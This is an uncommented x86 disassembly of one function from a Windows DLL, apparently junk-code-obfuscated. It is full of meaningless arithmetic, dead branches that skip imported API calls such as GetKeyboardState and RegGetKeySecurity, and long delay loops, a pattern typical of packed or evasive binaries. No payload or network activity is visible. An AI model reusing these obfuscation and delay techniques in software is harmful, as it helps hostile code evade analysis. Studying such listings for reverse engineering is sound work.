mov dword [ebp - 0x1e4], 0xd60a
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1e4]
mov eax, dword [ebp - 0x148]
mov dword [eax + 8], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp eax, 0xfffffffa
mov eax, dword [ebp - 0x110]
setne cl
xor edx, edx
test ecx, ecx
setns dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setle cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
cmp dword [ebp - 0x38], eax
mov eax, 0xeb5ea28c
setl cl
cmp eax, ecx
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x110]
cmp ecx, eax
mov eax, dword [ebp - 0x154]
lea ecx, [ebp - 0x154]
setne dl
mov dword [eax], edx
call fcn.1000f766
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x148]
call fcn.1000f766
push dword [ebp + 8]
movdqa xmm0, xmmword [0x1000bbf0]
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x250]
mov dword [ebp - 0x90], ebx
push eax
push ebx
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x8c], ebx
movdqu xmmword [ebp - 0x250], xmm0
mov dword [ebp - 0x88], ebx
call fcn.10011598
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x20], ebx
jmp 0x10042932
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x48], 0x8094a188
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10042924
xor edi, edi
mov dword [ebp - 0x44], esi
inc edi
cmp dword [ebp - 0x44], ebx
jl 0x10042a53
push edi
lea ecx, [ebp - 0xac]
call fcn.1000f6e4
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x28], 0xaad9ddce
mov dword [ebp - 0x20], ebx
jmp 0x10042974
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xac]
mov dword [eax + ecx*4], 0xca9d6923
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x10042961
mov eax, dword [ebp - 0x44]
mov esi, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
neg esi
mov eax, dword [ebp - 0x90]
sbb esi, esi
xor edx, edx
neg esi
mov ecx, dword [eax + ecx*4]
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xac]
cmp dword [eax], ecx
setg dl
sub edx, esi
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x24], 0xffffffec
jmp 0x10042a39
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x3c], 4
mov dword [ebp - 0x38], 0xf2a6ca0c
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x28], ebx
jne 0x100429e9
mov ecx, dword [ebp - 0x44]
mov esi, ebx
mov eax, dword [ebp - 0x90]
cmp dword [eax + ecx*4], ebx
je 0x100429eb
mov esi, edi
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x20]
sub ecx, eax
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x34]
sub ecx, 0x9820
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x74bdbaf9
setle al
xor edx, edx
cmp esi, eax
mov eax, dword [ebp - 0x44]
setg dl
xor ecx, ecx
cmp eax, edx
setge cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x3c]
add eax, 0xfffffffa
add ecx, eax
mov dword [ebp - 0x38], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x16
jge 0x100429c0
lea ecx, [ebp - 0xac]
call fcn.1000f766
dec dword [ebp - 0x44]
jns 0x10042946
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x90]
call fcn.1000f766
push edi
lea ecx, [ebp - 0x6c]
call fcn.1000f6e4
mov dword [ebp - 4], 0x18
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], 7
push 2
call fcn.1000f6e4
mov dword [ebp - 0x34], 0xf3a6825d
mov dword [ebp - 0x38], 0x988ed9e8
mov dword [ebp - 0x14], ebx
jmp 0x10042aac
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x6c]
mov dword [eax + ecx*4], 0x5d6c05ba
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10042a9c
mov dword [ebp - 0x14], ebx
jmp 0x10042ac9
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x178]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10042ab6
mov dword [ebp - 0x18], ebx
jmp 0x10042bac
mov dword [ebp - 0x34], ebx
xor ecx, ecx
mov dword [ebp - 0x14], 0xfffb
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0x23020f62
mov dword [ebp - 0x34], 0x3203bd65
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x6c]
cmp ecx, dword [eax]
sbb edx, edx
neg edx
sub edx, dword [eax]
mov eax, dword [ebp - 0x34]
neg edx
sbb edx, edx
add edx, 0xffff9990
cmp eax, edx
mov edx, dword [ebp - 0x6c]
setne cl
add ecx, 0xfffffff8
mov edx, dword [edx]
add ecx, edx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setg al
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x6c]
setg cl
add ecx, dword [eax + esi*4]
jne 0x10042b43
mov ecx, ebx
cmp dword [ebp - 0x14], ebx
je 0x10042b45
mov ecx, edi
mov eax, dword [ebp - 0x6c]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x14]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setge cl
xor edx, edx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x14]
sub edx, 0xfa8fad7
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x38], edx
xor edx, edx
cmp dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x14]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x38], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10042ad7
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10042c50
mov esi, dword [ebp - 0x178]
mov dword [ebp - 0x28], 0xfffffffc
mov dword [ebp - 0x34], 0xf6d77974
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10042be4
call dword [sym.imp.USER32.dll_GetMessageTime]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x6c]
push 8
cmp dword [eax], ecx
pop ecx
setne dl
sub edx, dword [esi + 4]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
shl eax, 3
sub ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xfffd
setne al
xor ecx, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, 0xfef6
mov eax, dword [ebp - 0x6c]
setne cl
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [esi + 4]
sub ecx, eax
mov dword [ebp - 0x38], ecx
dec dword [ebp - 0x18]
jns 0x10042bc7
lea ecx, [ebp - 0x178]
call fcn.1000f766
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6c]
call fcn.1000f766
mov dword [ebp - 0x18], ebx
lea ecx, [ebp - 0x190]
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x20], 0x97b09b37
mov dword [ebp - 0x28], 0xf118c84b
push 4
call fcn.1000f6e4
xor edx, edx
mov dword [ebp - 4], 0x19
inc edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x14], ebx
jmp 0x10042cb1
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x190]
mov dword [eax + ecx*4], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10042c9e
mov dword [ebp - 0x14], ebx
jmp 0x10042cc6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x50], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10042cbc
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 5
jl 0x10042dfe
mov esi, dword [ebp - 0x190]
jmp 0x10042ce3
xor edx, edx
inc edx
mov dword [ebp - 0x24], 9
lea ecx, [ebp - 0x21c]
push edx
call fcn.1000f6e4
mov dword [ebp - 0x14], ebx
jmp 0x10042d0c
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x278], 0xb8575526
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10042cfb
xor edi, edi
mov dword [ebp - 0x14], ebx
inc edi
jmp 0x10042d2d
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x21c]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10042d1a
mov eax, edi
cmp dword [ebp - 0x24], ebx
jne 0x10042d3b
mov eax, ebx
xor ecx, ecx
mov dword [ebp - 0x270], eax
cmp eax, 0xfffffffd
mov eax, dword [ebp - 0x24]
sete cl
xor edx, edx
cmp ecx, eax
setge dl
xor ecx, ecx
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
imul ecx, dword [ebp - 0x20], 0x7b30
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x18]
setl cl
xor edx, edx
cmp eax, ecx
setge dl
xor eax, eax
sub edx, dword [ebp - 0x18]
cmp edx, 0x2f4e
setg al
xor ecx, ecx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x38], eax
setge cl
cmp ecx, dword [ebp - 0x24]
jle 0x10042dc2
mov ecx, edi
cmp dword [ebp - 0x28], ebx
jne 0x10042dc4
mov ecx, ebx
mov dword [ebp - 0x28], 0xb618
mov eax, dword [ebp - 0x28]
imul eax, ecx
test eax, eax
je 0x10042ddc
mov eax, edi
cmp dword [ebp - 0x28], ebx
jne 0x10042dde
mov eax, ebx
mov dword [esi + 8], eax
lea ecx, [ebp - 0x21c]
dec dword [ebp - 0x50]
call fcn.1000f766
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 5
jge 0x10042ce0
jmp 0x10042e01
xor edi, edi
inc edi
mov eax, dword [ebp - 0x50]
lea ecx, [ebp - 0x190]
mov dword [ebp - 0x28], eax
or dword [ebp - 4], 0xffffffff
call fcn.1000f766
mov ecx, dword [ebp - 0xf8]
test ecx, ecx
je 0x10042ecc
call fcn.100417bc
push 3
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x20], ebx
pop esi
jmp 0x10042e48
mov ecx, dword [ebp - 0x20]
mov dword [ebp + ecx*4 - 0x25c], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10042e3b
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10042e64
push ebx
push 0x16fb
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov dword [ebp - 0x24], ebx
jmp 0x10042eb3
mov eax, dword [ebp - 0x24]
cmp dword [ebp + eax*4 - 0x25c], ebx
mov byte [ebp - 0x19], bl
je 0x10042e9d
cmp byte [ebp - 0x19], 0
je 0x10042e8a
push 0x2510
push ebx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10042eb0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
jmp 0x10042eb0
cmp byte [ebp - 0x19], 0
je 0x10042eab
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [ebp - 0x24], ebx
jne 0x10042eb9
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jle 0x10042e69
lea eax, [ebp - 0x4c]
push eax
call fcn.10043786
mov ecx, dword [ebp - 0x2c]
mov dword [eax], ecx
jmp 0x10042ecf
xor edi, edi
inc edi
push 3
pop esi
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x18], 0xf47a6de
mov dword [ebp - 0x20], 0x2e63372
mov dword [ebp - 0x30], 0x74e6
cmp dword [ebp - 0x30], 0x75c4
jle 0x10042f49
mov ecx, ebx
mov dword [ebp - 0x28], ebx
mov eax, ebx
mov dword [ebp - 0x34], ebx
and eax, ecx
lea ecx, [ebp - 0x2cc]
cdq
push edx
push eax
call fcn.1000d000
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10042f18
mov eax, dword [eax]
push eax
call fcn.1004b356
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x2cc]
call fcn.1000fa70
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x3309
jl 0x10042efe
inc ecx
mov dword [ebp - 0x28], ecx
cmp ecx, 0x37a9
jl 0x10042ef9
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x14]
test eax, eax
je 0x10042f7b
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100430a2
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
jmp 0x100430a2
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x20], ebx
jmp 0x10042f9b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x230], 0x28f6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10042f8a
mov dword [ebp - 0x18], ebx
jmp 0x1004308a
mov dword [ebp - 0x24], 0x7b5b
dec dword [ebp - 0x24]
mov dword [ebp - 0x14], ebx
jmp 0x1004307e
mov dword [ebp - 0x20], ebx
jmp 0x10042fd1
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1a8], 0x69b7d6b5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10042fc0
cmp dword [ebp - 0x18], ebx
jne 0x10042fe3
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x28], ebx
je 0x10042fea
mov dword [ebp - 0x3c], 1
cmp dword [ebp - 0x1a8], ebx
jne 0x10042ffb
cmp dword [ebp - 0x24], ebx
jne 0x10042ffb
mov edx, ebx
jmp 0x10042ffe
xor edx, edx
inc edx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
imul ecx, ecx, 0xfffffffc
cmp ecx, eax
setl dl
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x34], ebx
je 0x10043027
cmp dword [ebp - 0x24], ebx
je 0x10043027
xor edi, edi
inc edi
jmp 0x10043029
mov edi, ebx
cmp dword [ebp - 0x28], edi
jne 0x10043031
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x230]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x230], edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x24]
setle cl
imul ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x1a8], ecx
cmp dword [ebp - 0x1a8], ebx
jne 0x10043087
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x10042fbb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x10042fa9
mov eax, dword [ebp - 0x14]
xor edi, edi
mov dword [ebp - 0x18], eax
inc edi
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x30], 0x7339
jge 0x100430b6
push 0x1000b7e4
call fcn.1004b356
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfc]
mov dword [ebp - 0x18], 0xafe2499e
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
call fcn.1003e379
push 4
lea ecx, [ebp - 0x9c]
call fcn.1000f6e4
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x20], 0x27ff
cmp dword [ebp - 0x20], 0x2b4c
jle 0x10043167
mov ecx, ebx
mov dword [ebp - 0x28], ebx
mov eax, ebx
mov dword [ebp - 0x3c], ebx
mov edx, eax
mov dword [ebp - 0x34], 0x1ecf
mov dword [ebp - 0x30], edx
mov eax, ecx
mov ecx, edx
shl eax, cl
lea ecx, [ebp - 0x2fc]
cdq
push edx
push eax
call fcn.1000d000
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1004312a
mov eax, dword [eax]
push eax
call fcn.1004b356
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x2fc]
call fcn.1000fa70
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x28]
dec edx
dec dword [ebp - 0x34]
mov dword [ebp - 0x30], edx
jne 0x1004310c
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp eax, 0x6f1c
jl 0x10043100
inc ecx
mov dword [ebp - 0x28], ecx
cmp ecx, 0xcc5
jl 0x100430fb
push esi
lea ecx, [ebp - 0x84]
call fcn.1000f6e4
cmp dword [ebp - 0x20], 0x277f
jge 0x10043187
push 0x1000b808
call fcn.1004b356
pop ecx
mov dword [ebp - 0x18], 0xd6b3
mov eax, 0x6ce2
mov dword [ebp - 0x28], 0xfffffff9
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x30], 0xffff
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x14], ebx
jmp 0x100431d8
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x9c]
mov dword [eax + ecx*4], 0xb871c7bf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x100431c5
mov dword [ebp - 0x14], ebx
jmp 0x100431f6
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x84]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100431e3
mov eax, dword [ebp - 0x84]
mov esi, dword [ebp - 0x9c]
inc dword [eax + 4]
mov ecx, dword [eax + 4]
xor eax, eax
cmp ecx, dword [esi + 8]
setne al
xor edx, edx
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x9c]
cmp ecx, dword [eax]
setg dl
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x9c]
add eax, dword [esi + 8]
cmp dword [ecx + 0xc], eax
jne 0x10043245
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ecx]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], ebx
jmp 0x100432fc
mov dword [ebp - 0x24], 0xffffffff
mov esi, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x84]
mov edx, dword [ebp - 0x84]
mov eax, dword [eax + ecx*4]
mov dword [edx + esi*4], eax
test eax, eax
je 0x100432c8
mov ecx, dword [ebp - 0x18]
mov edx, 0xc6a687e9
mov eax, dword [ebp - 0x84]
cmp edx, dword [eax + ecx*4]
mov eax, dword [ebp - 0x28]
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setl cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
test eax, eax
setle cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1dc]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
add eax, 4
je 0x100432e2
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100432e9
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x100432e9
mov dword [ebp - 0x20], 0xfffffff8
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100432f9
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x10043252
lea ecx, [ebp - 0x84]
call fcn.1000f766
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9c]
call fcn.1000f766
mov esi, dword [ebp - 0x2c]
test esi, esi
je 0x10043408
mov dword [ebp - 0x38], 0x41b3c692
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10043348
push 0x13bb
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1004335d
push 0x1ead
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffW]
mov edx, dword [ebp - 0x40]
mov ecx, esi
call fcn.100417f1
mov dword [ebp - 0x24], 0xe0648261
mov esi, eax
push 8
pop eax
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], eax
mov dword [ebp - 0xc8], esi
mov dword [ebp - 0x24], 3
jmp 0x100433e5
mov dword [ebp - 0x18], 0x925b0e44
mov dword [ebp - 0x18], ebx
jmp 0x100433c0
mov dword [ebp - 0x38], 0x7e4f
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setg dl
mov dword [ebp - 0x38], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x13
jne 0x100433a6
mov dword [ebp - 0x18], ebx
jmp 0x100433dc
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1d0], 0x2d9ee1c9
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100433cb
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1a
jl 0x1004339a
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100433fd
push ebx
push 6
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
lea eax, [ebp - 0x60]
push eax
call fcn.10043724
mov dword [eax], esi
mov dword [ebp - 0x3c], 0x70bc
cmp dword [ebp - 0x3c], 0x739b
jle 0x1004348d
mov dword [ebp - 0x2c], ebx
mov esi, ebx
mov dword [ebp - 0x34], ebx
mov eax, esi
mov dword [ebp - 0x30], 0xf18
mov esi, dword [ebp - 0x2c]
mov dword [ebp - 0x40], eax
xor eax, esi
lea ecx, [ebp - 0x2e4]
cdq
push edx
push eax
call fcn.1000d000
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10043449
mov eax, dword [eax]
push eax
call fcn.1004b356
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x2e4]
call fcn.1000fa70
mov eax, dword [ebp - 0x40]
dec eax
dec dword [ebp - 0x30]
mov dword [ebp - 0x40], eax
jne 0x1004342f
mov esi, dword [ebp - 0x34]
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 0x2fed
jl 0x10043420
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0xb22
jl 0x1004341b
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov dword [ebp - 0x18], 0xd3f46721
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0x14], 0xfd2d1a4e
push 4
call fcn.1000f6e4
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x38], 0x1cdffa87
mov dword [ebp - 0x2c], 0xb7203fca
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x2c], ebx
jmp 0x100434d8
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xb8]
mov dword [eax + ecx*4], 8
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x100434c5
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
sub ecx, 0xfffffffc
mov esi, dword [ebp - 0xb8]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
imul ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 0xfffffffc
setge al
xor ecx, ecx
imul eax, dword [ebp - 0x14]
cmp eax, 0xffffffff
setne cl
xor eax, eax
cmp ecx, 0x2929
setg al
xor ecx, ecx
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xb8]
mov edx, dword [esi + 4]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x28]
cmp eax, edx
setle cl
xor eax, eax
add ecx, edx
mov edx, dword [ebp - 0x40]
neg ecx
cmp ecx, dword [edx + 8]
setge al
add eax, 0x51545b5e
jne 0x10043572
mov eax, dword [ebp - 0xb8]
cmp dword [eax + 0xc], ebx
mov eax, ebx
je 0x10043574
mov eax, edi
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov dword [ebp - 0x14], edi
cmp eax, dword [ecx + 8]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
setle dl
sub ecx, eax
xor eax, eax
cmp ecx, edx
setge al
sub eax, dword [esi + 4]
mov dword [ebp - 0x28], eax
je 0x100435ed
mov dword [ebp - 0x2c], ebx
xor edx, edx
mov dword [ebp - 0x28], edi
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x2c]
setge dl
dec dword [ebp - 0x2c]
cmp edx, eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x28]
cmovge edi, ebx
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp eax, ecx
setne dl
xor eax, eax
cmp edi, edx
sete al
xor edx, edx
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setne dl
xor eax, eax
test edx, edx
setns al
mov dword [ebp - 0x28], eax
jmp 0x10043618
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x14], ebx
jmp 0x10043612
mov dword [ebp - 0x18], 0xffffffe9
jmp 0x10043609
cmp dword [esi + 4], ebx
jne 0x1004360f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xa
jl 0x10043601
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xb
jne 0x100435f8
lea ecx, [ebp - 0xb8]
call fcn.1000f766
cmp dword [ebp - 0x3c], 0x6f8a
jge 0x10043637
push 0x1000b858
call fcn.1004b356
pop ecx
mov eax, dword [ebp + 8]
lea esi, [ebp - 0xc8]
mov ecx, dword [ebp - 0xc]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret